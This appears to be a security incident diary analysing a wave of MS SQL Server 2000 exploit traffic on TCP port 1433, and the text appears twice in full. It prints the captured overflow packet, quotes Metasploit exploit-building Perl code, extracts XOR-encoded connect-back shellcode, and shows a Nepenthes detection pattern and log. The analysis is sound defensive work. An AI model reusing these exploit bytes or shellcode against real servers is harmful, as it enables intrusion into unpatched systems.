Solution to the TCP 1433 Traffic
General Information
===================
Two days ago, we received an email from Warner indicating that he was seeing significantly larger than usual amounts of network traffic being blocked by their firewall that was attempting to connect to hosts on TCP port 1433 - the port associated with Microsoft SQL Server. He had also looked at the DShield report for that port and noticed this appeared to not be localized to his organization.
Yesterday, we sent out a request for packet captures. We have received replies from several ISC readers (Tyler, Phil, Anssi, and others) that provided us with some network packet captures as well as with the results of setting up a Netcat listener on that port on systems without Microsoft SQL Server.
When we looked at the packet captures, we saw the data appeared to include a Tabular Data Stream protocol packet. This is used by MS-SQL and other SQL servers.
Packet Data
===========
The contents of the raw data packet captured from the Netcat listener looks like this:
^R^A^@4^@^@^@^@^@^@^U^@^F^A^@^[^@^A^B^@^\^@^L^C^@(^@^Dÿ^H^@
^B^P^@^@^@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM^[Â
¥Ã®4CCCCº<8a>¶BP^^Ã?BP^^Ã?B3333P^Ã?BAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAë^U¹<8b>æ^SA<81>ñ9æ^SA^<80>t1ÿæÿÿÿ<82>jÃ:ò<81>
:ñ½:Ã?Â^\:Ã?¹Yô±±±âç:î<8d>:Ã<8a>Ã?²nâ:ê<91>²nâ
2rµ:<82>²F<82>x^]<83>ypp´5qÃ?G<9a>{Ã?XÃNQïÃ?<82><83>±±
���<83>îå^K#�µ5Ng:I0]±³±±:]â�°�³^K2â2±Ngâ
âÃ####²Ã?³±¿<99>:e:iÃ?¡ãâ^KÃ'<81>Ã'ëNgá^E³áäâ^
K±éÃ'SNg^Nà Ã?Ã?<89>NT^@$^A^@^@
Note: In the above and following packet dumps in this diary, the ## characters represent bytes that have been masked out to hide the involved IP address.
The two long sequences of M's and A's appear to be two seperate NOP sleds included in the packet payload.
After running the data file through "od -x", the hexadecimal representation of the data is this:
0000000 0112 3400 0000 0000 0000 0015 0106 1b00
0000020 0100 0002 001c 030c 2800 0400 08ff 0200
0000040 0010 0000 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d
0000060 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d
*
0001060 4d4d 4d4d a51b 34ee 4343 4343 8aba 42b6
0001100 1e50 42d0 1e50 42d0 3333 3333 1e50 42d0
0001120 1e50 42d0 4141 4141 4141 4141 4141 4141
0001140 4141 4141 4141 4141 4141 4141 4141 4141
*
0001240 4141 4141 4141 4141 4141 4141 15eb 8bb9
0001260 13e6 8141 39f1 13e6 5e41 7480 ff31 e2b1
0001300 ebf9 e805 ffe6 ffff 6a82 3ad5 81f2 f13a
0001320 3abd adc1 3a1c b9c9 f459 b1b1 e2b1 3ae7
0001340 8dee ed3a c98a 6eb2 3ae2 91ea 6eb2 32e2
0001360 b572 823a 46b2 7882 831d 7079 b470 7135
0001400 47c4 7b9a 58c4 9ae9 6069 ef5a efb2 b295
0001420 d76e ba3a ef3a b2ad 3a6e 3ab5 76b2 eaef
0001440 514e d9ef 8382 b1b1 c6d9 83c2 e5ee 230b
0001460 b5df 4e35 3a67 3049 b15d b1b3 3ab1 e25d
0001500 b0db b3db 320b 32e2 4eb1 e267 d9e2 ####
0001520 #### b3d9 bfb1 3a99 3a65 db69 e3a1 0be2
0001540 81d2 ebd1 674e 05e1 e1b3 e2e4 b10b d1e9
0001560 4e53 0e67 dde0 89d9 544e 2400 0001 0000
0001577
The first column in each row is the relative offset from the start of the file and the remaining 8 columns display 16 bytes of data on each row. The two rows that only display '*' are compressed displays indicating that everything since the last byte on the prior line to the first byte on the next line was the same character. These are the locations of the M's and A's -- represented here by the hexadecimal values 0x4d and 0x41.
Network Traffic
===============
I built a VMware image with Windows 2000 Server and SQL Server 2000 to test this against. I ran Wireshark on the box to capture traffic and used Netcat to throw the captured data against the box. The results below show the connection to the SQL Server on TCP port 1433. We see the 3-way handshake and the next packet is the capture data. What was odd was what I saw next. The Windows 2000 server then tried to establish an outbound connection to an external IP address:
13:39:34.858966 IP 192.168.5.116.1353 > 192.168.5.123.ms-sql-s: S 3743295663:3743295663(0) win 16384 <mss 1460,nop,nop,sackOK>
13:39:34.859032 IP 192.168.5.123.ms-sql-s > 192.168.5.116.1353: S 1515250204:1515250204(0) ack 3743295664 win 64240 <mss 1460,nop,nop,sackOK>
13:39:34.859395 IP 192.168.5.116.1353 > 192.168.5.123.ms-sql-s: . ack 1515250205 win 17520
13:39:34.871658 IP 192.168.5.116.1353 > 192.168.5.123.ms-sql-s: P 3743295664:3743296559(895) ack 1515250205 win 17520
13:39:34.882966 IP 192.168.5.123.1071 > XX.XX.153.67.3624: S 1515315572:1515315572(0) win 64240 <mss 1460,nop,nop,sackOK>
13:39:34.924571 IP XX.XX.153.67.3624 > 192.168.5.123.1071: R 0:0(0) ack 1515315573 win 0
13:39:34.999732 IP 192.168.5.123.ms-sql-s > 192.168.5.116.1353: . ack 3743296559 win 63345
13:39:35.437323 IP 192.168.5.123.1071 > XX.XX.153.67.3624: S 1515315572:1515315572(0) win 64240 <mss 1460,nop,nop,sackOK>
13:39:35.480682 IP XX.XX.153.67.3624 > 192.168.5.123.1071: R 0:0(0) ack 1515315573 win 0
13:39:35.983887 IP 192.168.5.123.1071 > XX.XX.153.67.3624: S 1515315572:1515315572(0) win 64240 <mss 1460,nop,nop,sackOK>
13:39:36.029660 IP XX.XX.153.67.3624 > 192.168.5.123.1071: R 0:0(0) ack 1515315573 win 0
Also, when I first tried throwing the data against my VMware image, the Internet Worm Protection module in my Norton AntiVirus 2006 software blocked the traffic. It matched the "MS SQL Long Request Hello BO" signature that it has. After disabling the Internet Worm Protection, I was able to test the packet and get the data shown above.
Packet Analysis - Exploit
=========================
I started looking at the data and breaking it apart into pieces. We know there was a vulnerability in Microsoft SQL Server 2000 back in August 2002 so the question was was someone just playing with an old exploit or is there possibly a new vulnerability being exploited.
I took a look at the Metasploit Framework and looked at the mssql2000_preauthentication exploit module. It contains the following code snippet to build its exploit code. Does it look familiar? Its a match for what we saw above in the "od -x" output. The pairs of bytes are reversed due to the difference between Intel longint vs network byte order.
my $request = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b".
"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02".
"\x10\x00\x00\x00" .
("M" x 528) . "\x1B\xA5\xEE\x34" . "CCCC" .
pack('V', $target->[1]).
pack('V', $target->[2]).
pack('V', $target->[2]).
"3333".
pack('V', $target->[2]).
pack('V', $target->[2]).
("\x41" x 88) . $shellcode .
"\x00\x24\x01\x00\x00";
The first 18 bytes match, then we have the "M" NOP-sled then 8 more bytes that match. The next 12 bytes before the "3333 3333" (which corresponds to the "CCCC" above) and the 8 bytes after it are the VAX byte-order packed representations of the two target options for this MSF exploit.
After that, we have the "A" NOP-sled. Up to this point, our sample packet has matched completely. The MSF exploit doesn't have a specific shellcode payload so if we skip over that we see we again match against the last 5 bytes in the exploit and our data.
Payload Analysis - Payload
==========================
So now lets turn to the payload. If we eliminate everything before and after it, we are left with this:
15eb 8bb9 13e6 8141 39f1 13e6 5e41 7480 ff31 e2b1 ebf9 e805 ffe6 ffff 6a82 3ad5 81f2 f13a 3abd adc1 3a1c b9c9 f459 b1b1 e2b1 3ae7 8dee ed3a c98a 6eb2 3ae2 91ea 6eb2 32e2 b572 823a 46b2 7882 831d 7079 b470 7135 47c4 7b9a 58c4 9ae9 6069 ef5a efb2 b295 d76e ba3a ef3a b2ad 3a6e 3ab5 76b2 eaef 514e d9ef 8382 b1b1 c6d9 83c2 e5ee 230b b5df 4e35 3a67 3049 b15d b1b3 3ab1 e25d b0db b3db 320b 32e2 4eb1 e267 d9e2 #### #### b3d9 bfb1 3a99 3a65 db69 e3a1 0be2 81d2 ebd1 674e 05e1 e1b3 e2e4 b10b d1e9 4e53 0e67 dde0 89d9 544e
If we flip each pair of bytes and add the \x hex notation, we end up with:
\xeb\x15\xb9\x8b\xe6\x13\x41\x81\xf1\x39\xe6\x13\x41\x5e\x80\x74
\x31\xff\xb1\xe2\xf9\xeb\x05\xe8\xe6\xff\xff\xff\x82\x6a\xd5\x3a
\xf2\x81\x3a\xf1\xbd\x3a\xc1\xad\x1c\x3a\xc9\xb9\x59\xf4\xb1\xb1
\xb1\xe2\xe7\x3a\xee\x8d\x3a\xed\x8a\xc9\xb2\x6e\xe2\x3a\xea\x91
\xb2\x6e\xe2\x32\x72\xb5\x3a\x82\xb2\x46\x82\x78\x1d\x83\x79\x70
\x70\xb4\x35\x71\xc4\x47\x9a\x7b\xc4\x58\xe9\x9a\x69\x60\x5a\xef
\xb2\xef\x95\xb2\x6e\xd7\x3a\xba\x3a\xef\xad\xb2\x6e\x3a\xb5\x3a
\xb2\x76\xef\xea\x4e\x51\xef\xd9\x82\x83\xb1\xb1\xd9\xc6\xc2\x83
\xee\xe5\x0b\x23\xdf\xb5\x35\x4e\x67\x3a\x49\x30\x5d\xb1\xb3\xb1
\xb1\x3a\x5d\xe2\xdb\xb0\xdb\xb3\x0b\x32\xe2\x32\xb1\x4e\x67\xe2
\xe2\xd9\x##\x##\x##\x##\xd9\xb3\xb1\xbf\x99\x3a\x65\x3a\x69\xdb
\xa1\xe3\xe2\x0b\xd2\x81\xd1\xeb\x4e\x67\xe1\x05\xb3\xe1\xe4\xe2
\x0b\xb1\xe9\xd1\x53\x4e\x67\x0e\xe0\xdd\xd9\x89\x4e\x54
Now lets start doing some searches. I didn't find any matches for the entire sequence but when I looked for pieces of it, I got some possible hits with Nepenthes. I looked through its source code, and in modules/shellcode-signatures/shellcode-signatures.sc, I found:
// taken from shellcode-generic/sch_generic_linkxor.cpp
linkxor::link
{
/*
* look at the source for information
*
*/
pattern "\\xEB\\x15\\xB9(....)\\x81\\xF1(....)\\x5E\\x80\\x74\\x31\\xFF(.)\
\xE2\\xF9\\xEB\\x05\\xE8\\xE6\\xFF\\xFF\\xFF(.*)";
mapping (none,size,size,key,post);
};
Since it seems like Nepenthes knows something about this payload, I threw the packet at my Nepenthes sensor and got the following results:
[ crit sc handler ] MATCH linkxor::link matchCount 5 map_items 5
[ info sc handler ] i = 1 map_items 5 , map = size
[ info sc handler ] i = 2 map_items 5 , map = size
[ info sc handler ] i = 3 map_items 5 , map = key
[ info sc handler ] i = 4 map_items 5 , map = post
[ info sc handler ] Found linkbot XOR decoder, key 0xb1, payload is 0x00b2 bytes long.
[ crit ] Stored Hexdump var/hexdumps/8ce93295c9611ee55720e6488651a7d1.bin (0x09416898 , 0x000000b7).
[ info sc handler ] connectbackfiletransfer::linktransfer -> XX.XX.153.67:3624
[ info sc handler ] connectbackfiletransfer::linktransfer -> XX.XX.153.67:3624, key 0x516c6838.
[ info down mgr ] Handler link download handler will download link://XX.XX.153.67:3624/UWxoOA==
[ crit net handler ] ERROR Could not connect host Invalid argument
Ah hah!! Linkbot XOR decoder. Last night several of us were looking at this and translating some of the assembly opcodes. One of the other ISC handlers, Arrigo "The Human Disassembler" Triulzi, had stated "this is an XOR decode if you ask me". Score 1 for Arrigo.
And the IP address that I had seen my server try to connect to was displayed here as well.
So it looks like someone is just looking for old Microsoft SQL Server 2000 systems that still haven't been patched yet.
For more information about LinkBot, take a look at this page for the Nepenthes project's writeup on the Lindau Shellcode (alias Linkbot)
David Goldsmith
===================
Two days ago, we received an email from Warner indicating that he was seeing significantly larger than usual amounts of network traffic being blocked by their firewall that was attempting to connect to hosts on TCP port 1433 - the port associated with Microsoft SQL Server. He had also looked at the DShield report for that port and noticed this appeared to not be localized to his organization.
Yesterday, we sent out a request for packet captures. We have received replies from several ISC readers (Tyler, Phil, Anssi, and others) that provided us with some network packet captures as well as with the results of setting up a Netcat listener on that port on systems without Microsoft SQL Server.
When we looked at the packet captures, we saw the data appeared to include a Tabular Data Stream protocol packet. This is used by MS-SQL and other SQL servers.
Packet Data
===========
The contents of the raw data packet captured from the Netcat listener looks like this:
^R^A^@4^@^@^@^@^@^@^U^@^F^A^@^[^@^A^B^@^\^@^L^C^@(^@^Dÿ^H^@
^B^P^@^@^@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM^[Â
¥Ã®4CCCCº<8a>¶BP^^Ã?BP^^Ã?B3333P^Ã?BAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAë^U¹<8b>æ^SA<81>ñ9æ^SA^<80>t1ÿæÿÿÿ<82>jÃ:ò<81>
:ñ½:Ã?Â^\:Ã?¹Yô±±±âç:î<8d>:Ã<8a>Ã?²nâ:ê<91>²nâ
2rµ:<82>²F<82>x^]<83>ypp´5qÃ?G<9a>{Ã?XÃNQïÃ?<82><83>±±
���<83>îå^K#�µ5Ng:I0]±³±±:]â�°�³^K2â2±Ngâ
âÃ####²Ã?³±¿<99>:e:iÃ?¡ãâ^KÃ'<81>Ã'ëNgá^E³áäâ^
K±éÃ'SNg^Nà Ã?Ã?<89>NT^@$^A^@^@
Note: In the above and following packet dumps in this diary, the ## characters represent bytes that have been masked out to hide the involved IP address.
The two long sequences of M's and A's appear to be two seperate NOP sleds included in the packet payload.
After running the data file through "od -x", the hexadecimal representation of the data is this:
0000000 0112 3400 0000 0000 0000 0015 0106 1b00
0000020 0100 0002 001c 030c 2800 0400 08ff 0200
0000040 0010 0000 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d
0000060 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d
*
0001060 4d4d 4d4d a51b 34ee 4343 4343 8aba 42b6
0001100 1e50 42d0 1e50 42d0 3333 3333 1e50 42d0
0001120 1e50 42d0 4141 4141 4141 4141 4141 4141
0001140 4141 4141 4141 4141 4141 4141 4141 4141
*
0001240 4141 4141 4141 4141 4141 4141 15eb 8bb9
0001260 13e6 8141 39f1 13e6 5e41 7480 ff31 e2b1
0001300 ebf9 e805 ffe6 ffff 6a82 3ad5 81f2 f13a
0001320 3abd adc1 3a1c b9c9 f459 b1b1 e2b1 3ae7
0001340 8dee ed3a c98a 6eb2 3ae2 91ea 6eb2 32e2
0001360 b572 823a 46b2 7882 831d 7079 b470 7135
0001400 47c4 7b9a 58c4 9ae9 6069 ef5a efb2 b295
0001420 d76e ba3a ef3a b2ad 3a6e 3ab5 76b2 eaef
0001440 514e d9ef 8382 b1b1 c6d9 83c2 e5ee 230b
0001460 b5df 4e35 3a67 3049 b15d b1b3 3ab1 e25d
0001500 b0db b3db 320b 32e2 4eb1 e267 d9e2 ####
0001520 #### b3d9 bfb1 3a99 3a65 db69 e3a1 0be2
0001540 81d2 ebd1 674e 05e1 e1b3 e2e4 b10b d1e9
0001560 4e53 0e67 dde0 89d9 544e 2400 0001 0000
0001577
The first column in each row is the relative offset from the start of the file and the remaining 8 columns display 16 bytes of data on each row. The two rows that only display '*' are compressed displays indicating that everything since the last byte on the prior line to the first byte on the next line was the same character. These are the locations of the M's and A's -- represented here by the hexadecimal values 0x4d and 0x41.
Network Traffic
===============
I built a VMware image with Windows 2000 Server and SQL Server 2000 to test this against. I ran Wireshark on the box to capture traffic and used Netcat to throw the captured data against the box. The results below show the connection to the SQL Server on TCP port 1433. We see the 3-way handshake and the next packet is the capture data. What was odd was what I saw next. The Windows 2000 server then tried to establish an outbound connection to an external IP address:
13:39:34.858966 IP 192.168.5.116.1353 > 192.168.5.123.ms-sql-s: S 3743295663:3743295663(0) win 16384 <mss 1460,nop,nop,sackOK>
13:39:34.859032 IP 192.168.5.123.ms-sql-s > 192.168.5.116.1353: S 1515250204:1515250204(0) ack 3743295664 win 64240 <mss 1460,nop,nop,sackOK>
13:39:34.859395 IP 192.168.5.116.1353 > 192.168.5.123.ms-sql-s: . ack 1515250205 win 17520
13:39:34.871658 IP 192.168.5.116.1353 > 192.168.5.123.ms-sql-s: P 3743295664:3743296559(895) ack 1515250205 win 17520
13:39:34.882966 IP 192.168.5.123.1071 > XX.XX.153.67.3624: S 1515315572:1515315572(0) win 64240 <mss 1460,nop,nop,sackOK>
13:39:34.924571 IP XX.XX.153.67.3624 > 192.168.5.123.1071: R 0:0(0) ack 1515315573 win 0
13:39:34.999732 IP 192.168.5.123.ms-sql-s > 192.168.5.116.1353: . ack 3743296559 win 63345
13:39:35.437323 IP 192.168.5.123.1071 > XX.XX.153.67.3624: S 1515315572:1515315572(0) win 64240 <mss 1460,nop,nop,sackOK>
13:39:35.480682 IP XX.XX.153.67.3624 > 192.168.5.123.1071: R 0:0(0) ack 1515315573 win 0
13:39:35.983887 IP 192.168.5.123.1071 > XX.XX.153.67.3624: S 1515315572:1515315572(0) win 64240 <mss 1460,nop,nop,sackOK>
13:39:36.029660 IP XX.XX.153.67.3624 > 192.168.5.123.1071: R 0:0(0) ack 1515315573 win 0
Also, when I first tried throwing the data against my VMware image, the Internet Worm Protection module in my Norton AntiVirus 2006 software blocked the traffic. It matched the "MS SQL Long Request Hello BO" signature that it has. After disabling the Internet Worm Protection, I was able to test the packet and get the data shown above.
Packet Analysis - Exploit
=========================
I started looking at the data and breaking it apart into pieces. We know there was a vulnerability in Microsoft SQL Server 2000 back in August 2002 so the question was was someone just playing with an old exploit or is there possibly a new vulnerability being exploited.
I took a look at the Metasploit Framework and looked at the mssql2000_preauthentication exploit module. It contains the following code snippet to build its exploit code. Does it look familiar? Its a match for what we saw above in the "od -x" output. The pairs of bytes are reversed due to the difference between Intel longint vs network byte order.
my $request = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b".
"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02".
"\x10\x00\x00\x00" .
("M" x 528) . "\x1B\xA5\xEE\x34" . "CCCC" .
pack('V', $target->[1]).
pack('V', $target->[2]).
pack('V', $target->[2]).
"3333".
pack('V', $target->[2]).
pack('V', $target->[2]).
("\x41" x 88) . $shellcode .
"\x00\x24\x01\x00\x00";
The first 18 bytes match, then we have the "M" NOP-sled then 8 more bytes that match. The next 12 bytes before the "3333 3333" (which corresponds to the "CCCC" above) and the 8 bytes after it are the VAX byte-order packed representations of the two target options for this MSF exploit.
After that, we have the "A" NOP-sled. Up to this point, our sample packet has matched completely. The MSF exploit doesn't have a specific shellcode payload so if we skip over that we see we again match against the last 5 bytes in the exploit and our data.
Payload Analysis - Payload
==========================
So now lets turn to the payload. If we eliminate everything before and after it, we are left with this:
15eb 8bb9 13e6 8141 39f1 13e6 5e41 7480 ff31 e2b1 ebf9 e805 ffe6 ffff 6a82 3ad5 81f2 f13a 3abd adc1 3a1c b9c9 f459 b1b1 e2b1 3ae7 8dee ed3a c98a 6eb2 3ae2 91ea 6eb2 32e2 b572 823a 46b2 7882 831d 7079 b470 7135 47c4 7b9a 58c4 9ae9 6069 ef5a efb2 b295 d76e ba3a ef3a b2ad 3a6e 3ab5 76b2 eaef 514e d9ef 8382 b1b1 c6d9 83c2 e5ee 230b b5df 4e35 3a67 3049 b15d b1b3 3ab1 e25d b0db b3db 320b 32e2 4eb1 e267 d9e2 #### #### b3d9 bfb1 3a99 3a65 db69 e3a1 0be2 81d2 ebd1 674e 05e1 e1b3 e2e4 b10b d1e9 4e53 0e67 dde0 89d9 544e
If we flip each pair of bytes and add the \x hex notation, we end up with:
\xeb\x15\xb9\x8b\xe6\x13\x41\x81\xf1\x39\xe6\x13\x41\x5e\x80\x74
\x31\xff\xb1\xe2\xf9\xeb\x05\xe8\xe6\xff\xff\xff\x82\x6a\xd5\x3a
\xf2\x81\x3a\xf1\xbd\x3a\xc1\xad\x1c\x3a\xc9\xb9\x59\xf4\xb1\xb1
\xb1\xe2\xe7\x3a\xee\x8d\x3a\xed\x8a\xc9\xb2\x6e\xe2\x3a\xea\x91
\xb2\x6e\xe2\x32\x72\xb5\x3a\x82\xb2\x46\x82\x78\x1d\x83\x79\x70
\x70\xb4\x35\x71\xc4\x47\x9a\x7b\xc4\x58\xe9\x9a\x69\x60\x5a\xef
\xb2\xef\x95\xb2\x6e\xd7\x3a\xba\x3a\xef\xad\xb2\x6e\x3a\xb5\x3a
\xb2\x76\xef\xea\x4e\x51\xef\xd9\x82\x83\xb1\xb1\xd9\xc6\xc2\x83
\xee\xe5\x0b\x23\xdf\xb5\x35\x4e\x67\x3a\x49\x30\x5d\xb1\xb3\xb1
\xb1\x3a\x5d\xe2\xdb\xb0\xdb\xb3\x0b\x32\xe2\x32\xb1\x4e\x67\xe2
\xe2\xd9\x##\x##\x##\x##\xd9\xb3\xb1\xbf\x99\x3a\x65\x3a\x69\xdb
\xa1\xe3\xe2\x0b\xd2\x81\xd1\xeb\x4e\x67\xe1\x05\xb3\xe1\xe4\xe2
\x0b\xb1\xe9\xd1\x53\x4e\x67\x0e\xe0\xdd\xd9\x89\x4e\x54
Now lets start doing some searches. I didn't find any matches for the entire sequence but when I looked for pieces of it, I got some possible hits with Nepenthes. I looked through its source code, and in modules/shellcode-signatures/shellcode-signatures.sc, I found:
// taken from shellcode-generic/sch_generic_linkxor.cpp
linkxor::link
{
/*
* look at the source for information
*
*/
pattern "\\xEB\\x15\\xB9(....)\\x81\\xF1(....)\\x5E\\x80\\x74\\x31\\xFF(.)\
\xE2\\xF9\\xEB\\x05\\xE8\\xE6\\xFF\\xFF\\xFF(.*)";
mapping (none,size,size,key,post);
};
Since it seems like Nepenthes knows something about this payload, I threw the packet at my Nepenthes sensor and got the following results:
[ crit sc handler ] MATCH linkxor::link matchCount 5 map_items 5
[ info sc handler ] i = 1 map_items 5 , map = size
[ info sc handler ] i = 2 map_items 5 , map = size
[ info sc handler ] i = 3 map_items 5 , map = key
[ info sc handler ] i = 4 map_items 5 , map = post
[ info sc handler ] Found linkbot XOR decoder, key 0xb1, payload is 0x00b2 bytes long.
[ crit ] Stored Hexdump var/hexdumps/8ce93295c9611ee55720e6488651a7d1.bin (0x09416898 , 0x000000b7).
[ info sc handler ] connectbackfiletransfer::linktransfer -> XX.XX.153.67:3624
[ info sc handler ] connectbackfiletransfer::linktransfer -> XX.XX.153.67:3624, key 0x516c6838.
[ info down mgr ] Handler link download handler will download link://XX.XX.153.67:3624/UWxoOA==
[ crit net handler ] ERROR Could not connect host Invalid argument
Ah hah!! Linkbot XOR decoder. Last night several of us were looking at this and translating some of the assembly opcodes. One of the other ISC handlers, Arrigo "The Human Disassembler" Triulzi, had stated "this is an XOR decode if you ask me". Score 1 for Arrigo.
And the IP address that I had seen my server try to connect to was displayed here as well.
So it looks like someone is just looking for old Microsoft SQL Server 2000 systems that still haven't been patched yet.
For more information about LinkBot, take a look at this page for the Nepenthes project's writeup on the Lindau Shellcode (alias Linkbot)
David Goldsmith
Keywords:
0 comment(s)
×
![modal content]()
Diary Archives
Comments